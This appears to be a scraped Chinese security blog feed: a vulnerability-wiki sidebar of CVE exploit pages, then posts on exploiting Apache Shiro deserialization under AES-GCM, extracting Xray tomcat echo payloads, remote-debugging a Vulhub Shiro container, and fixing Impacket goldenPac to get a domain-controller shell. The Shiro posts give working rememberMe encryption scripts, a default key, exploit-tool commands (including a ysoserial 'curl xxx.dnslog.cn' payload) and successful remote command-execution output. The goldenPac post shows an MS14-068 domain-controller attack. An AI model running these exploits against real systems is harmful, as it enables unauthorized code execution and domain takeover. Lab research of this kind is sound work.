- [360 Phone N6 Pro内核漏洞](./VulWiki/IOT安全/360/360%20Phone%20N6%20Pro内核漏洞.md)
- Amazon Kindle Fire HD (3rd)
- [(CVE-2018-11019)Amazon Kindle Fire HD (3rd) Fire OS kernel组件安全漏洞](./VulWiki/IOT安全/Amazon%20Kindle%20Fire%20HD%20(3rd)/(CVE-2018-11019)Amazon%20Kindle%20Fire%20HD%20(3rd)%20Fire%20OS%20kernel组件安全漏洞.md)
- Huawei
- [(CVE-2016-6158)华为WS331a产品管理页面存在CSRF漏洞](./VulWiki/IOT安全/Huawei/(CVE-2016-6158)华为WS331a产品管理页面存在CSRF漏洞.md)
- JCG
- [JCG路由器命令执行漏洞](./VulWiki/IOT安全/JCG/JCG路由器命令执行漏洞.md)
- PHICOMM
- [(CVE-2019-19117)PHICOMM 远程代码执行](./VulWiki/IOT安全/PHICOMM/(CVE-2019-19117)PHICOMM%20远程代码执行.md)
- Samsung
- [(CVE-2017-14262)Samsung NVR devices 漏洞](./VulWiki/IOT安全/Samsung/(CVE-2017-14262)Samsung%20NVR%20devices%20漏洞.md)
- Sapido
- [Sapido多款路由器命令执行漏洞&突破](./VulWiki/IOT安全/Sapido/Sapido多款路由器命令执行漏洞&突破.md)
- TP-Link
- [(CVE-2017-16957)TP-Link 命令注入漏洞](./VulWiki/IOT安全/TP-Link/(CVE-2017-16957)TP-Link%20命令注入漏洞.md)
- [(CVE-2020-9374)TP-Link TL-WR849N 远程命令执行漏洞](./VulWiki/IOT安全/TP-Link/(CVE-2020-9374)TP-Link%20TL-WR849N%20远程命令执行漏洞.md)
- 小米
- [(CVE-2019-18370)Xiaomi Mi WiFi R3G 远程命令执行漏洞](./VulWiki/IOT安全/小米/(CVE-2019-18370)Xiaomi%20Mi%20WiFi%20R3G%20远程命令执行漏洞.md)
- [(CVE-2019-18371) Xiaomi Mi WiFi R3G 任意文件读取漏洞](./VulWiki/IOT安全/小米/(CVE-2019-18371)%20Xiaomi%20Mi%20WiFi%20R3G%20任意文件读取漏洞.md)
- Web安全
- 74cms
- [74cms v4.2.1 - v4.2.129-后台getshell漏洞](./VulWiki/Web安全/74cms/74cms%20v4.2.1%20-%20v4.2.129-后台getshell漏洞.md)
- [74cms v4.2.126-通杀sql注入](./VulWiki/Web安全/74cms/74cms%20v4.2.126-通杀sql注入.md)
- [74cms v4.2.126-前台四处sql注入](./VulWiki/Web安全/74cms/74cms%20v4.2.126-前台四处sql注入.md)
- [74cms v6.0.48模版注入+文件包含getshell](./VulWiki/Web安全/74cms/74cms%20v6.0.48模版注入%2B文件包含getshell.md)
- [(CVE-2019-11374)74cms v5.0.1 后台跨站请求伪造(CSRF)漏洞](./VulWiki/Web安全/74cms/(CVE-2019-11374)74cms%20v5.0.1%20后台跨站请求伪造(CSRF)漏洞.md)
- ATutor
- [(CVE-2019-12169)ATutor学习内容管理系统 任意文件上传漏洞](./VulWiki/Web安全/ATutor/(CVE-2019-12169)ATutor学习内容管理系统%20任意文件上传漏洞.md)
- ActiveMQ
- [ActiveMQ物理路径泄漏漏洞](./VulWiki/Web安全/ActiveMQ/ActiveMQ物理路径泄漏漏洞.md)
- [(CVE-2015-1830)ActiveMQ 路径遍历导致未经身份验证的rce](./VulWiki/Web安全/ActiveMQ/(CVE-2015-1830)ActiveMQ%20路径遍历导致未经身份验证的rce.md)
- [(CVE-2015-5254)ActiveMQ 反序列化漏洞](./VulWiki/Web安全/ActiveMQ/(CVE-2015-5254)ActiveMQ%20反序列化漏洞.md)
- [(CVE-2016-3088)ActiveMQ应用漏洞](./VulWiki/Web安全/ActiveMQ/(CVE-2016-3088)ActiveMQ应用漏洞.md)
- [(CVE-2017-15709)ActiveMQ 信息泄漏漏洞](./VulWiki/Web安全/ActiveMQ/(CVE-2017-15709)ActiveMQ%20信息泄漏漏洞.md)
- Adminer
- [Adminer 任意文件读取漏洞](./VulWiki/Web安全/Adminer/Adminer%20任意文件读取漏洞.md)
- 新点网络协同办公系统
- [新点OA V7.0 V8.0 Getshell](./VulWiki/Web安全/新点网络协同办公系统/新点OA%20V7.0%20V8.0%20Getshell.md)
- 系统安全
- Linux
- Linux本地提权漏洞
- [(CVE-2015-1328)Ubuntu Linux内核本地提权漏洞](./VulWiki/系统安全/Linux/Linux本地提权漏洞/(CVE-2015-1328)Ubuntu%20Linux内核本地提权漏洞.md)
- [(CVE-2016-5195)脏牛Linux 本地提权](./VulWiki/系统安全/Linux/Linux本地提权漏洞/(CVE-2016-5195)脏牛Linux%20本地提权.md)
- [(CVE-2017-16995)Ubuntu 内核提权](./VulWiki/系统安全/Linux/Linux本地提权漏洞/(CVE-2017-16995)Ubuntu%20内核提权.md)
- [(CVE-2019-14287)sudo提权漏洞](./VulWiki/系统安全/Linux/Linux本地提权漏洞/(CVE-2019-14287)sudo提权漏洞.md)
- Linux远程溢出漏洞
- [(CVE-2017-7494)Linux Samba 远程代码执行](./VulWiki/系统安全/Linux/Linux远程溢出漏洞/(CVE-2017-7494)Linux%20Samba%20远程代码执行.md)
- Windows
- Windows本地提权漏洞
- [(CVE-2016-0099)【MS16-32】 windows 本地提权漏洞](./VulWiki/系统安全/Windows/Windows本地提权漏洞/(CVE-2016-0099)【MS16-32】%20windows%20本地提权漏洞.md)
- [(CVE-2016-3225)【MS16-075】 JuicyPotato windows 本地提权漏洞](./VulWiki/系统安全/Windows/Windows本地提权漏洞/(CVE-2016-3225)【MS16-075】%20JuicyPotato%20windows%20本地提权漏洞.md)
- [(CVE-2020-1472)Windows Zerologon域提权漏洞](./VulWiki/系统安全/Windows/Windows本地提权漏洞/(CVE-2020-1472)Windows%20Zerologon域提权漏洞.md)
- Windows远程溢出漏洞
- [(CVE-2008-4250)【MS08-067】Windows远程溢出漏洞](./VulWiki/系统安全/Windows/Windows远程溢出漏洞/(CVE-2008-4250)【MS08-067】Windows远程溢出漏洞.md)
- [(CVE-2017-0143........)【MS17-010】Windows 远程溢出漏洞](./VulWiki/系统安全/Windows/Windows远程溢出漏洞/(CVE-2017-0143........)【MS17-010】Windows%20远程溢出漏洞.md)
- [(CVE-2019-0708) Windows 远程溢出漏洞](./VulWiki/系统安全/Windows/Windows远程溢出漏洞/(CVE-2019-0708)%20Windows%20远程溢出漏洞.md)
- [(CVE­-2020­-0796) Windows 远程溢出漏洞](./VulWiki/系统安全/Windows/Windows远程溢出漏洞/(CVE­-2020­-0796)%20Windows%20远程溢出漏洞.md)
]]>
<h1 id="Docsify-auto-generate-sidebar-md"><a href="#Docsify-auto-generate-sidebar-md" class="headerlink" title="Docsify auto generate sideba
Shiro高版本加密方式下的漏洞利用 https://ares-x.com/2020/10/26/Shiro%E9%AB%98%E7%89%88%E6%9C%AC%E5%8A%A0%E5%AF%86%E6%96%B9%E5%BC%8F%E4%B8%8B%E7%9A%84%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/ 2020-10-25T17:09:45.000Z 2023-12-24T09:01:53.749Z Shiro 高版本加密方式下的漏洞利用

加密方式的变化

Shiro高版本加密方式从AES-CBC换成了AES-GCM,由于加密算法的变化导致用于攻击shiro-550的exp无法试用于新版Shiro

加密模式的变化发生在针对Oracle Padding Attack的修复,1.4.2版本更换为了AES-GCM加密方式

高版本的加密解密调用了AesCipherService:

1
2
3
4
5
6
7
8
9
10
11
12
private byte[] cipherKey;
private CipherService cipherService = new AesCipherService();

public byte[] encrypt(byte[] serialized) {
ByteSource byteSource = cipherService.encrypt(serialized, cipherKey);
return byteSource.getBytes();
}

public byte[] decrypt(byte[] encrypted) {
ByteSource byteSource = cipherService.decrypt(encrypted, cipherKey);
return byteSource.getBytes();
}

AesCipherService 中设定的加密方式为AES-GCM,Padding为None

GCM模式下,补位信息是完全不需要考虑的,明文与密文有着相同的长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class AesCipherService extends DefaultBlockCipherService {
private static final String ALGORITHM_NAME = "AES";

public AesCipherService() {
super("AES");
this.setMode(OperationMode.GCM);
this.setStreamingMode(OperationMode.GCM);
this.setPaddingScheme(PaddingScheme.NONE);
}

protected AlgorithmParameterSpec createParameterSpec(byte[] iv, boolean streaming) {
return (AlgorithmParameterSpec)((!streaming || !OperationMode.GCM.name().equals(this.getStreamingModeName())) && (streaming || !OperationMode.GCM.name().equals(this.getModeName())) ? super.createParameterSpec(iv, streaming) : new GCMParameterSpec(this.getKeySize(), iv));
}
}

加密解密实现

加密解密方法的实现在JcaCipherService

Encrypt

1
2
3
4
5
6
7
8
9
10
11
12
public ByteSource encrypt(byte[] plaintext, byte[] key) {
byte[] ivBytes = null;
boolean generate = this.isGenerateInitializationVectors(false);
if (generate) {
ivBytes = this.generateInitializationVector(false);
if (ivBytes == null || ivBytes.length == 0) {
throw new IllegalStateException("Initialization vector generation is enabled - generated vector cannot be null or empty.");
}
}

return this.encrypt(plaintext, key, ivBytes, generate);
}

然后生成ivBytes

initializationVectorSize为128 会随机生成16位的ivBytes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected byte[] generateInitializationVector(boolean streaming) {
int size = this.getInitializationVectorSize();
String msg;
if (size <= 0) {
msg = "initializationVectorSize property must be greater than zero. This number is typically set in the " + CipherService.class.getSimpleName() + " subclass constructor. Also check your configuration to ensure that if you are setting a value, it is positive.";
throw new IllegalStateException(msg);
} else if (size % 8 != 0) {
msg = "initializationVectorSize property must be a multiple of 8 to represent as a byte array.";
throw new IllegalStateException(msg);
} else {
int sizeInBytes = size / 8;
byte[] ivBytes = new byte[sizeInBytes];
SecureRandom random = this.ensureSecureRandom();
random.nextBytes(ivBytes);
return ivBytes;
}
}

之后传入重载的同名方法进行加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private ByteSource encrypt(byte[] plaintext, byte[] key, byte[] iv, boolean prependIv) throws CryptoException {
int MODE = true;
byte[] output;
if (prependIv && iv != null && iv.length > 0) {
byte[] encrypted = this.crypt(plaintext, key, iv, 1);
output = new byte[iv.length + encrypted.length];
System.arraycopy(iv, 0, output, 0, iv.length);
System.arraycopy(encrypted, 0, output, iv.length, encrypted.length);
} else {
output = this.crypt(plaintext, key, iv, 1);
}

if (log.isTraceEnabled()) {
log.trace("Incoming plaintext of size " + (plaintext != null ? plaintext.length : 0) + ". Ciphertext byte array is size " + (output != null ? output.length : 0));
}

return Util.bytes(output);
}

Decrypt

iv的取值:从密文开头取16字节作为iv

16字节之后的内容作为密文进行解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
byte[] encrypted = ciphertext;
byte[] iv = null;
if (this.isGenerateInitializationVectors(false)) {
try {
int ivSize = this.getInitializationVectorSize();
int ivByteSize = ivSize / 8;
iv = new byte[ivByteSize];
System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);
int encryptedSize = ciphertext.length - ivByteSize;
encrypted = new byte[encryptedSize];
System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
} catch (Exception var8) {
String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
throw new CryptoException(msg, var8);
}
}

return this.decrypt(encrypted, key, iv);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private ByteSource decrypt(byte[] ciphertext, byte[] key, byte[] iv) throws CryptoException {
if (log.isTraceEnabled()) {
log.trace("Attempting to decrypt incoming byte array of length " + (ciphertext != null ? ciphertext.length : 0));
}

byte[] decrypted = this.crypt(ciphertext, key, iv, 2);
return decrypted == null ? null : Util.bytes(decrypted);
}

private Cipher newCipherInstance(boolean streaming) throws CryptoException {
String transformationString = this.getTransformationString(streaming);

try {
return Cipher.getInstance(transformationString);
} catch (Exception var5) {
String msg = "Unable to acquire a Java JCA Cipher instance using " + Cipher.class.getName() + ".getInstance( \"" + transformationString + "\" ). " + this.getAlgorithmName() + " under this configuration is required for the " + this.getClass().getName() + " instance to function.";
throw new CryptoException(msg, var5);
}
}

头皮发麻

不🐔8看了,太难了

https://github.com/Ares-X/shiro-exploit/blob/master/ndecode.py

解密脚本:

设定加密模式为aes-gcm,base64解密后取前16位作为iv,取后16位作为tag进行签名验证,中间的为密文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import os,base64,uuid
from Crypto.Cipher import AES
def decode(s):
global key
BS = AES.block_size
mode = AES.MODE_GCM
cipher=base64.b64decode(s)
iv=cipher[0:16]
enc=cipher[16:-16]
tag=cipher[-16:]
decryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext=decryptor.decrypt_and_verify(enc,tag)
print("decode_plaintext:")
print(plaintext)
base64_plaintext=base64.b64encode(plaintext).decode()
print ("\nbase64_plaintext:\n"+base64_plaintext+"\n")
return base64_plaintext

加密脚本

设定加密模式为aes-gcm,随机生成16位iv,使用encrypt_and_digest 生成密文和tag,将iv+密文+tag base64编码输出即为最终的rememberMe内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import os,base64,uuid
from Crypto.Cipher import AES
def encode(p):
global key
BS = AES.block_size
mode = AES.MODE_GCM
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body=base64.b64decode(p)
enc,tag=encryptor.encrypt_and_digest(file_body)
base64_ciphertext = base64.b64encode(iv + enc + tag)
print("Encode_result:")
print(base64_ciphertext)
print("\n")
return base64_ciphertext

测试:

1
2
3
4
╭─[aresx@AresX-Mac.local]-[~/tools/exp/shiro]  ‹master*›
╰─➤ python3 ndecode.py
Encode_result:
b'2aFmeBbUSYOtYPz4N1wX8yppHpBI6005E0A52swUxzszuUcOrzwQnhX0Yz3i4DxjZJcMP2uoD4rqNAfxvQYDXmFqxJ0FnPUdwsK8t3zrH8sHwaWFb0NJcACv2wY9Fa0XPTVO7oKpLzaA3LieBNMD4HqnhzCgBsABLBIi83BD2a9OcWtJA8wssI9odRpN4BIbUiwmNZMaFreVWffZdf9+jEnOJBQc+Z9OfPhsSqeFuZfOTjsL9pL6VgNb+hxGre91FqxGqPy+zZmWFv/n/dz6qiBdVgnP7M2qSj5KezTGEA5/Yhp6FawSFABqC7Tr90gnw9dFTrCi6PcwJOUDE16rp9iZRbROrsBcJfe4JNulp5uopxvcLGsA2Y2dKC8xa8EeLPX+UZOUFeW4s+4MUAcOE72QwG1mRep7TdXArkBwI2jgdSbTl0HtB7ibXbPUqTue+O0fhW5aM9cSjQDvQcMnlcFFdPsGxFVE1K3aXn9Q4DwBXhssdKEZVjv1XEINBME5kQ=='

image.png

利用工具

重构了之前的shiro-exploit

https://github.com/Ares-X/shiro-exploit

目前支持了shiro AES-GCM加密方式的漏洞利用和爆破key

对于大部分功能存在三个可选参数:

-v 参数可指定shiro的版本,CBC加密版本 Version 为1 ,GCM加密版本 Version 为2 (目前最新为GCM) 如不指定默认为1

-u 参数可将payload发送至指定url,如不指定url将输出base64编码后的payload用于手工利用

-k 参数可指定shiro加密所用的key,如不指定将使用默认key kPH+bIxk5D2deZiIxcaaaA== 可修改文件头部的key来更换默认key

如需配合ysoerial使用请在脚本中更改yso_path的路径指向本机对应的ysoserial.jar

Shiro key检测,无需dnslog平台

爆破Shiro key,如不指定版本 -v 将自动尝试两个版本的爆破

1
python3 shiro-exploit.py check -u http://xxx/

或指定Shiro版本

1
python3 shiro-exploit.py check -u http://xxx/ -v 2

获取指定key的check数据

1
python3 shiro-exploit.py check -k <key>

编码/发送序列化数据作为payload

1
python3 shiro-exploit.py encode -s ./cookie.ser -u http://xxx/

获取Payload编码内容

1
python3 shiro-exploit.py encode -s ./cookie.ser 

配合ysoserial生成Payload

1
python3 shiro-exploit.py yso -g CommomsCollections6 -c "curl xxx.dnslog.cn" -u http://xxxx/

获取Payload编码内容

1
python3 shiro-exploit.py yso -g CommomsCollections6 -c "curl xxx.dnslog.cn"

生成回显Payload,无需指定Command

默认命令为whoami,可在生成的Payload的header中修改testcmd对应内容

内置xray的6条tomcat回显链

[CommonsCollections1/CommonsCollections2/CommonsBeanutils1/CommonsBeanutils2/Jdk7u21/Jdk8u20]

1
python3 shiro-exploit.py echo -g  CommomsCollections1 

发送回显Payload,可指定Command

不指定command默认为whoami

1
python3 shiro-exploit.py echo -g CommomsCollections1 -u http://127.0.0.1:8080/login -c ifconfig
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
╰─➤ python3 shiro-exploit.py echo -g CommonsCollections1 -u http://127.0.0.1:9080/login -c "ip addr"                  2 ↵
Congratulation: exploit success

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
2: tunl0@NONE: <NOARP> mtu 1480 qdisc noop state DOWN group default qlen 1000
link/ipip 0.0.0.0 brd 0.0.0.0
3: ip6tnl0@NONE: <NOARP> mtu 1452 qdisc noop state DOWN group default qlen 1000
link/tunnel6 :: brd ::
19: eth0@if20: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0
valid_lft forever preferred_lft forever

攻击新版AES-GCM加密的shiro

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
╰─➤ python3 shiro-exploit.py echo -g CommonsCollections1 -u http://127.0.0.1 -v 2 -k zSyK5Kp6PZAAjlT+eeNMlg== -c ifconfig
Congratulation: exploit success

lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
options=1203<RXCSUM,TXCSUM,TXSTATUS,SW_TIMESTAMP>
inet 127.0.0.1 netmask 0xff000000
inet6 ::1 prefixlen 128
inet6 fe80::1%lo0 prefixlen 64 scopeid 0x1
nd6 options=201<PERFORMNUD,DAD>
gif0: flags=8010<POINTOPOINT,MULTICAST> mtu 1280
stf0: flags=0<> mtu 1280
ap1: flags=8802<BROADCAST,SIMPLEX,MULTICAST> mtu 1500
options=400<CHANNEL_IO>
ether 3a:81:7f:08:7b:ce
media: autoselect
status: inactive

出现Congratulation说明存在漏洞,无法获取命令执行结果可能因为命令有误,请更换命令或复制到burp手动利用查看回显

]]>
<h1 id="Shiro-高版本加密方式下的漏洞利用"><a href="#Shiro-高版本加密方式下的漏洞利用" class="headerlink" title="Shiro 高版本加密方式下的漏洞利用"></a>Shiro 高版本加密方式下的漏洞利用</h1><h2 i
Xray tomcat回显Gadget对应Payload提取 https://ares-x.com/2020/07/27/Xray-tomcat%E5%9B%9E%E6%98%BEGadget%E5%AF%B9%E5%BA%94Payload%E6%8F%90%E5%8F%96/ 2020-07-27T09:36:13.000Z 2023-12-24T09:01:53.783Z Shiro反序列化 Xray6个tomcat回显Gadget Payload提取

Xray新版本支持了shiro反序列化的检测,前提是拥有高级版License

对于shiro反序列化的检测首先会使用默认key尝试6个回显Gadget,然后尝试使用连平台,全部失败之后会尝试内置的100个key进行爆破

有价值的就是那6个支持tomcat全版本回显的Payload了

设置xray通过burp代理发送流量,然后修改配置文件中的http和tcp超时都为2秒

启动拦截器后放行第一个检测是否使用Shiro的请求之后开启拦截,等待扫描进程结束,可以在HTTP History中看到检测使用的Payload,多次拦截并按顺序Drop修改返回包头部包含检测的Testecho内容,就可以找到该payload对应的gadget

分别是CommonsCollections1 CommonsCollections2 CommonsBeanutils1 CommonsBeanutils2 Jdk7u21 Jdk8u20

获取到Payload之后解密然后base64保存,可以方便在没有使用默认key需要改key的情况中的使用

提取之后的Payload在下面的脚本里

https://github.com/Ares-X/shiro-exploit.git

使用效果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
╭─[aresx@AresX-Mac]-[~/tools/shiro]  ‹master*›
╰─➤ python3 shiro.py echo CommonsCollections1 http://127.0.0.1:9080/login "ls -l"
Congratulation: exploit success

total 21836
drwxr-xr-x 1 root root 4096 Oct 21 2016 bin
drwxr-xr-x 2 root root 4096 Sep 12 2016 boot
drwxr-xr-x 5 root root 340 Jul 16 06:14 dev
drwxr-xr-x 1 root root 4096 Apr 19 17:37 etc
drwxr-xr-x 2 root root 4096 Sep 12 2016 home
drwxr-xr-x 1 root root 4096 Oct 31 2016 lib
drwxr-xr-x 2 root root 4096 Oct 20 2016 lib64
drwxr-xr-x 2 root root 4096 Oct 20 2016 media
drwxr-xr-x 2 root root 4096 Oct 20 2016 mnt
drwxr-xr-x 2 root root 4096 Oct 20 2016 opt
dr-xr-xr-x 167 root root 0 Jul 16 06:14 proc
drwx------ 1 root root 4096 Jul 22 09:53 root
drwxr-xr-x 3 root root 4096 Oct 20 2016 run
drwxr-xr-x 2 root root 4096 Oct 20 2016 sbin
-rw-r--r-- 1 root root 22290368 Dec 19 2019 shirodemo-1.0-SNAPSHOT.jar
drwxr-xr-x 2 root root 4096 Oct 20 2016 srv
dr-xr-xr-x 13 root root 0 Jul 21 16:04 sys
drwxrwxrwt 1 root root 4096 Jul 16 06:14 tmp
drwxr-xr-x 1 root root 4096 Oct 31 2016 usr
drwxr-xr-x 1 root root 4096 Oct 31 2016 var
]]>
<h1 id="Shiro反序列化-Xray6个tomcat回显Gadget-Payload提取"><a href="#Shiro反序列化-Xray6个tomcat回显Gadget-Payload提取" class="headerlink" title="Shiro反序列化 Xr
IDEA远程调试Docker中程序的方法 https://ares-x.com/2020/04/20/IDEA%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%95Docker%E4%B8%AD%E7%A8%8B%E5%BA%8F%E7%9A%84%E6%96%B9%E6%B3%95/ 2020-04-19T18:02:43.000Z 2023-12-24T09:04:21.188Z 学习java怎么能不装模作样的调试一下代码呢,以Shiro为例,漏洞环境最方便的是Vulhub这种漏洞靶场打包好的docker镜像,手上又没有构建docker时的代码,咋调试呢?

代码获取

新建一个空项目

漏洞环境的代码需要从docker中拖出来,以shiro为例,启动之后docker exec -it xxx /bin/bash 进入容器,找到漏洞环境的程序

-w605

可见漏洞环境被打包成了jar,然后通过java -jar启动的,那么把shirodemo-1.0-SNAPSHOT.jar 复制出来,就获取了漏洞环境的全部内容

1
docker cp a7:/shirodemo-1.0-SNAPSHOT.jar ./

还原代码

调试代码需要本地拥有代码文件,jar可以作为Library添加到项目,然后idea会自动将class还原成代码,但是添加之后发现jar中的lib目录还有jar,这里面引入的jar无法再次作为Library添加,所以看不到其中的代码

可以直接将jar解压到项目根目录

-w1128

再将右键lib目录添加到Library,然后打开Project Structure,Modules->Dependencies 添加要调试的class文件的目录BOOT-INF 这里如果不添加的话无法在class文件中的行断点无法击中,只能击中方法断点

-w183

-w1024

注意Project Structure 里要选择一个与远程java版本相同的jdk

这时连接上远程调试端口便可以开始调试了

还原项目的java代码可以使用cfr

1
2
3
brew install cfr-decompiler
cd /usr/local/bin
mv cfr-decompiler cfr

然后就可以使用cfr将class反编译回java代码了

1
cfr shirodemo-1.0-SNAPSHOT.jar --outputdir ./src

远程调试

IDEA其实有添加对docker调试的功能,前提是本地有完整的文件,代码+dockerfile

https://blog.jetbrains.com/cn/2019/07/intellij-idea-docker/

不适用于目前的情况,现在只有个docker镜像,和从里面拖出来编译后的文件

思路就是把拖出来的class或jar ,通过添加为库来获取其中的代码(上一步做的内容),然后像正常调试java程序一样,进入docker容器内部,修改java程序的启动命令,增加调试的支持,之后idea中添加一个remote来连接到docker中的调试端口即可

以idea默认的5005端口为例,修改docker-compose.yml添加一组暴露端口,用来供idea连接至docker内部

1
2
3
4
5
6
7
version: '2'
services:
web:
image: vulhub/shiro:1.2.4
ports:
- "9080:8080"
- "5005:5005"

然后docker-compose up -d正常启动容器

docker exec -it xxxx /bin/bash进入容器,然后想办法找到java程序的启动方式,

比如ps -ax

1
2
3
4
5
root@a7c7e2041409:/# ps -ax
PID TTY STAT TIME COMMAND
1 ? Ssl 0:10 java -jar /shirodemo-1.0-SNAPSHOT.jar
31 pts/0 Ss 0:00 /bin/bash
44 pts/0 R+ 0:00 ps -ax

或者docker-compose up -d之后使用docker ps --no-trunc 来查看容器默认的启动命令

-w1121

找到了程序启动方式,vulhub的shiro环境是java -jar xxx.jar的形式运行的,那么添加对jar程序启动的调试命令即可,在启动docker时用自定义的COMMAND替换默认的COMMAND

修改

1
2
3
4
5
6
7
8
version: '2'
services:
web:
image: vulhub/shiro:1.2.4
ports:
- "9080:8080"
- "5005:5005"
command: java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar /shirodemo-1.0-SNAPSHOT.jar

然后重新docker-compose up -d 即可

idea里添加一个remote

-w1071
点debug,出现Connected to the target VM, address: 'localhost:5005', transport: 'socket'
即是正常连接
-w762

打个断点
-w1123

断点上出现勾号表示成功
command进入方法,再下一个断点同样成功
-w769

-w610
浏览器提交登录请求

-w1123

成功击中断点

IDEA各种断点
https://blog.csdn.net/f641385712/article/details/93145454

对java常见的几种启用调试的方法做了总结

JAR

1
2
3
4
jdk<=1.7
java -Xdebug -Xrunjdwp:server=y,transport=dt_socket,address=8000,suspend=n -jar
jdk>1.7
java -agentlib:jdwp=transport=dt_socket,address=8000,server=y,suspend=n -jar

Tomcat

catalina.sh 中添加

1
2
3
JPDA_TRANSPORT=dt_socket
JPDA_ADDRESS=5005
JPAD_SUSPEND=n

1
CATALINA_OPTS="-Xdebug -Xrunjdwp:transport=dt_socket,address=60222,suspend=n,server=y"

Weblogic

Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh 中添加

1
2
debugFlag="true"
export debugFlag
]]>
<p>学习java怎么能不装模作样的调试一下代码呢,以Shiro为例,漏洞环境最方便的是Vulhub这种漏洞靶场打包好的docker镜像,手上又没有构建docker时的代码,咋调试呢?</p> <h1 id="代码获取"><a href="#代码获取" class="header
解决goldenPac报错问题 https://ares-x.com/2020/03/23/%E8%A7%A3%E5%86%B3goldenPac%E6%8A%A5%E9%94%99%E9%97%AE%E9%A2%98/ 2020-03-22T17:27:17.000Z 2023-12-24T09:01:53.798Z 起因:利用ms14-068提权漏洞时尝试使用impacket工具包中的goldenPac模块来直接获取域控shell

使用途中出现报错Attempted "__iter__" operation on ASN.1 schema object

1
2
3
4
5
6
7
C:\Users\leo\Desktop>goldenPac.exe sun.com/leo:[email protected]
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] User SID: S-1-5-21-3388020223-1982701712-4030140183-1110
[*] Forest SID: S-1-5-21-3388020223-1982701712-4030140183
[*] Attacking domain controller DC.sun.com
[-] Attempted "__iter__" operation on ASN.1 schema object

起初怀疑是打包的exe运行环境有问题,搭建代理进内网,使用proxychains代理goldenPac.py 仍出现该错误

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
aresx@XXXXXXXXXX:/mnt/e$ proxychains goldenPac.py sun.com/leo:[email protected]
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:445 ... OK
[*] User SID: S-1-5-21-3388020223-1982701712-4030140183-1110
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:445 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:445 ... OK
[*] Forest SID: S-1-5-21-3388020223-1982701712-4030140183
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:135 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:49155 ... OK
[*] Attacking domain controller DC.sun.com
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[-] Attempted "__iter__" operation on ASN.1 schema object

谷歌一顿猛搜,发现在其他的开源项目中也有人提过这个错误的issue,原因是pyasn1库的bug,然后参考一个使用低版本pyasn1库的解决方案

pip list 确定了当前安装的pyasn1版本为0.4.8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
aresx@XXXXXXXXXX:/mnt/e$ pip list
Package Version
----------------------------- --------
args 0.1.0
asn1crypto 0.24.0
atomicwrites 1.1.5
attrs 18.2.0
backports.functools-lru-cache 1.5
beautifulsoup4 4.7.1
certifi 2019.3.9
cffi 1.14.0
chardet 3.0.4
Click 7.0
clint 0.5.1
colorama 0.4.1
configparser 3.5.0b2
contextlib2 0.5.5
crackmapexec 3.1.5
cryptography 2.8
dirhunt 0.6.0
distorm3 3.4.1
dnspython 1.16.0
entrypoints 0.3
enum34 1.1.6
et-xmlfile 1.0.1
Flask 1.1.1
funcsigs 1.0.2
future 0.18.2
pathlib2 2.3.5
Pillow 6.2.1
pip 18.1
pluggy 0.13.0
proxy-db 0.2.3
py 1.8.1
py2-ipaddress 3.4.1
pyasn1 0.4.8

卸载,安装低版本0.4.5

1
2
pip uninstall pyasn1
pip install pyasn1==0.4.5

用pc4代理再执行一次,成功弹回域控机器的shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
aresx@XXXXXXXXXX:/mnt/e$ proxychains goldenPac.py sun.com/leo:[email protected]
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
